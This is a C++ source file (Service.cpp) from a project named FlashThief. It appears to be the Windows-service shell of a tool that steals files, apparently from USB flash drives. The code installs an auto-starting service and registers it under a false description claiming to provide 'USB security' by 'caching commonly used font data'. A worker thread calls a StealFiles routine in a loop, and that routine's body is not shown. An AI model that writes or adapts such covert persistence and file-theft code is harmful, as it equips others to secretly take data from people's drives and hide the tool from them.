// Service.cpp: CService 类的实现。 #include "stdafx.h" #include "FlashThief.h" #include "Service.h" CService _Module; CService::CService() { m_bService = TRUE; m_dwThreadID = 0; } CService::~CService() { } // 第一个参数是服务名称,第二个参数是服务的显示名称。 void CService::Init(LPCTSTR pServiceName, LPCTSTR pServiceDisplayedName) { _tcscpy_s(m_szServiceName, 256, pServiceName); _tcscpy_s(m_szServiceDisplayedName, 256, pServiceDisplayedName); // 设置初始服务状态 m_hServiceStatus = NULL; m_status.dwServiceType = SERVICE_WIN32_OWN_PROCESS; m_status.dwCurrentState = SERVICE_STOPPED; // 设置服务可以使用的控制 // 如果希望服务启动后不能停止,去掉SERVICE_ACCEPT_STOP // SERVICE_ACCEPT_PAUSE_CONTINUE是服务可以“暂停/继续” m_status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN; m_status.dwWin32ExitCode = 0; m_status.dwServiceSpecificExitCode = 0; m_status.dwCheckPoint = 0; m_status.dwWaitHint = 0; } void CService::Start() { SERVICE_TABLE_ENTRY st[] = { { m_szServiceName, _ServiceMain }, { NULL, NULL } }; if (!::StartServiceCtrlDispatcher(st) && m_bService) m_bService = FALSE; if (m_bService == FALSE) Run(); } void CService::ServiceMain() { // 注册控制请求句柄 m_status.dwCurrentState = SERVICE_START_PENDING; m_hServiceStatus = RegisterServiceCtrlHandler(m_szServiceName, _Handler); if (m_hServiceStatus == NULL) return; SetServiceStatus(SERVICE_START_PENDING); m_status.dwWin32ExitCode = S_OK; m_status.dwCheckPoint = 0; m_status.dwWaitHint = 0; // 当 Run 函数返回时,服务已经结束。 Run(); SetServiceStatus(SERVICE_STOPPED); } inline void CService::Handler(DWORD dwOpcode) { switch (dwOpcode) { case SERVICE_CONTROL_STOP: SetServiceStatus(SERVICE_STOP_PENDING); StealStatus(STEAL_STOP_PENDING); PostThreadMessage(m_dwThreadID, WM_QUIT, NULL, NULL); break; case SERVICE_CONTROL_PAUSE: SetServiceStatus(SERVICE_PAUSE_PENDING); StealStatus(STEAL_PAUSE_PENDING); PostThreadMessage(m_dwThreadID, WM_STEAL_PAUSE, NULL, NULL); break; case SERVICE_CONTROL_CONTINUE: SetServiceStatus(SERVICE_CONTINUE_PENDING); StealStatus(STEAL_CONTINUE_PENDING); PostThreadMessage(m_dwThreadID, WM_STEAL_CONTINUE, NULL, NULL); break; case SERVICE_CONTROL_INTERROGATE: break; case SERVICE_CONTROL_SHUTDOWN: SetServiceStatus(SERVICE_STOP_PENDING); StealStatus(STEAL_STOP_PENDING); PostThreadMessage(m_dwThreadID, WM_QUIT, NULL, NULL); break; default: break; } } void WINAPI CService::_ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv) { _Module.ServiceMain(); } void WINAPI CService::_Handler(DWORD dwOpcode) { _Module.Handler(dwOpcode); } void CService::SetServiceStatus(DWORD dwState) { m_status.dwCurrentState = dwState; ::SetServiceStatus(m_hServiceStatus, &m_status); } int CService::StealStatus(int iState) { if (iState != -1) _Thief.m_iStatus = iState; return _Thief.m_iStatus; } void CService::Run() { m_dwThreadID = GetCurrentThreadId(); if (m_bService) SetServiceStatus(SERVICE_RUNNING); HANDLE hThread = NULL; DWORD dwThreadId = 0; hThread = CreateThread(NULL, 0, ThreadProc, this, 0, &dwThreadId); if (hThread == NULL) return; MSG msg; BOOL bRet = FALSE; while ((bRet = GetMessage(&msg, NULL, NULL, NULL)) != 0) { if (bRet == -1) break; switch (msg.message) { case WM_STEAL_PAUSE: WaitForSingleObject(hThread, 60000 + _Thief.m_dwInterval); SetServiceStatus(SERVICE_PAUSED); break; case WM_STEAL_CONTINUE: if (StealStatus() == STEAL_STOPPED) { CloseHandle(hThread); hThread = CreateThread(NULL, 0, ThreadProc, this, 0, &dwThreadId); } if (hThread != NULL) SetServiceStatus(SERVICE_RUNNING); break; } TranslateMessage(&msg); DispatchMessage(&msg); } WaitForSingleObject(hThread, 30000 + _Thief.m_dwInterval); CloseHandle(hThread); } DWORD CService::ThreadProc(LPVOID lpParam) { StealStatus(STEAL_RUNNING); while (StealStatus() == STEAL_RUNNING) { _Thief.StealFiles(); Sleep(_Thief.m_dwInterval); } StealStatus(STEAL_STOPPED); return 0; } BOOL CService::Install() { if (IsInstalled()) return TRUE; SC_HANDLE hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (hSCM == NULL) { MessageBox(NULL, _T("无法打开服务管理器!"), m_szServiceName, MB_OK); return FALSE; } // 获取可执行文件的路径 TCHAR szFilePath[MAX_PATH]; DWORD dwLen = GetModuleFileName(NULL, szFilePath, MAX_PATH); if (_tcschr(szFilePath, ' ') != NULL) { dwLen += 3; LPWSTR lpFilePath = new TCHAR[dwLen]; if (lpFilePath != NULL) { swprintf_s(lpFilePath, dwLen, _T("\"%s\""), szFilePath); _tcscpy_s(szFilePath, MAX_PATH, lpFilePath); delete []lpFilePath; } } SC_HANDLE hService = ::CreateService( hSCM, m_szServiceName, m_szServiceDisplayedName, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, szFilePath, NULL, NULL, NULL, NULL, NULL); if (hService == NULL) { ::CloseServiceHandle(hSCM); MessageBox(NULL, _T("无法创建服务!"), m_szServiceName, MB_OK); return FALSE; } else { TCHAR szDescription[256]; SERVICE_DESCRIPTION sdBuf; // 服务描述 swprintf_s(szDescription, 256, _T("Provide USB security with %s applications by caching commonly used font data."), m_szServiceDisplayedName); sdBuf.lpDescription = szDescription; ChangeServiceConfig2(hService, SERVICE_CONFIG_DESCRIPTION, &sdBuf); } ::CloseServiceHandle(hService); ::CloseServiceHandle(hSCM); return TRUE; } BOOL CService::Uninstall() { if (!IsInstalled()) return TRUE; SC_HANDLE hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (hSCM == NULL) { MessageBox(NULL, _T("无法打开服务管理器!"), m_szServiceName, MB_OK); return FALSE; } SC_HANDLE hService = ::OpenService(hSCM, m_szServiceName, SERVICE_STOP | DELETE); if (hService == NULL) { ::CloseServiceHandle(hSCM); MessageBox(NULL, _T("无法打开服务以对其进行操作!"), m_szServiceName, MB_OK); return FALSE; } SERVICE_STATUS status; ::ControlService(hService, SERVICE_CONTROL_STOP, &status); BOOL bDelete = ::DeleteService(hService); ::CloseServiceHandle(hService); ::CloseServiceHandle(hSCM); if (bDelete) { RecurseDeleteKey(HKEY_LOCAL_MACHINE, CFG_REG_SUBKEY); return TRUE; } MessageBox(NULL, _T("服务无法被删除!"), m_szServiceName, MB_OK); return FALSE; } BOOL CService::IsInstalled() { BOOL bResult = FALSE; SC_HANDLE hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (hSCM != NULL) { SC_HANDLE hService = ::OpenService(hSCM, m_szServiceName, SERVICE_QUERY_CONFIG); if (hService != NULL) { bResult = TRUE; ::CloseServiceHandle(hService); } ::CloseServiceHandle(hSCM); } return bResult; } // 删除注册表项 DWORD CService::RecurseDeleteKey(HKEY hkey, LPCTSTR pszSubKey) { LPTSTR lpSubKey = NULL; LPTSTR lpSubKeyName = NULL; LPTSTR lpEnd = NULL; DWORD dwMaxSubKeyLen = 0; LONG lResult = -1; DWORD dwSize = 0; HKEY hKey = NULL; FILETIME ftWrite; // 首先尝试删除项,如果删除失败则继续执行枚举删除 lResult = RegDeleteKey(hkey, pszSubKey); if (lResult == ERROR_SUCCESS) return ERROR_SUCCESS; lResult = RegOpenKeyEx(hkey, pszSubKey, 0, KEY_READ, &hKey); if (lResult != ERROR_SUCCESS) return lResult; // 检查要删除的项的路径结尾是否有“\”,没有则加上 lResult = RegQueryInfoKey(hKey, NULL, NULL, NULL, NULL, &dwMaxSubKeyLen, NULL, NULL, NULL, NULL, NULL, NULL); if (lResult != ERROR_SUCCESS) dwMaxSubKeyLen = 50; dwSize = _tcslen(pszSubKey) + 2 + dwMaxSubKeyLen; lpSubKey = new TCHAR[dwSize]; if (lpSubKey == NULL) return -1; lpSubKeyName = new TCHAR[dwMaxSubKeyLen + 1]; if (lpSubKeyName == NULL) return -1; _tcscpy_s(lpSubKey, dwSize, pszSubKey); lpEnd = lpSubKey + _tcslen(lpSubKey); if (*(lpEnd - 1) != _T('\\')) { *lpEnd = _T('\\'); lpEnd++; *lpEnd = _T('\0'); } // 枚举要删除的项下的子项递归删除 dwSize = dwMaxSubKeyLen + 1; lResult = RegEnumKeyEx(hKey, 0, lpSubKeyName, &dwSize, NULL, NULL, NULL, &ftWrite); if (lResult == ERROR_SUCCESS) { do { _tcscpy_s(lpEnd, dwMaxSubKeyLen + 1, lpSubKeyName); if (RecurseDeleteKey(hkey, lpSubKey) != ERROR_SUCCESS) break; dwSize = dwMaxSubKeyLen + 1; lResult = RegEnumKeyEx(hKey, 0, lpSubKeyName, &dwSize, NULL, NULL, NULL, &ftWrite); } while (lResult == ERROR_SUCCESS); } lpEnd--; *lpEnd = _T('\0'); RegCloseKey(hKey); // 最后再次尝试删除注册表的项 lResult = RegDeleteKey(hkey, lpSubKey); delete []lpSubKey; delete []lpSubKeyName; return lResult; }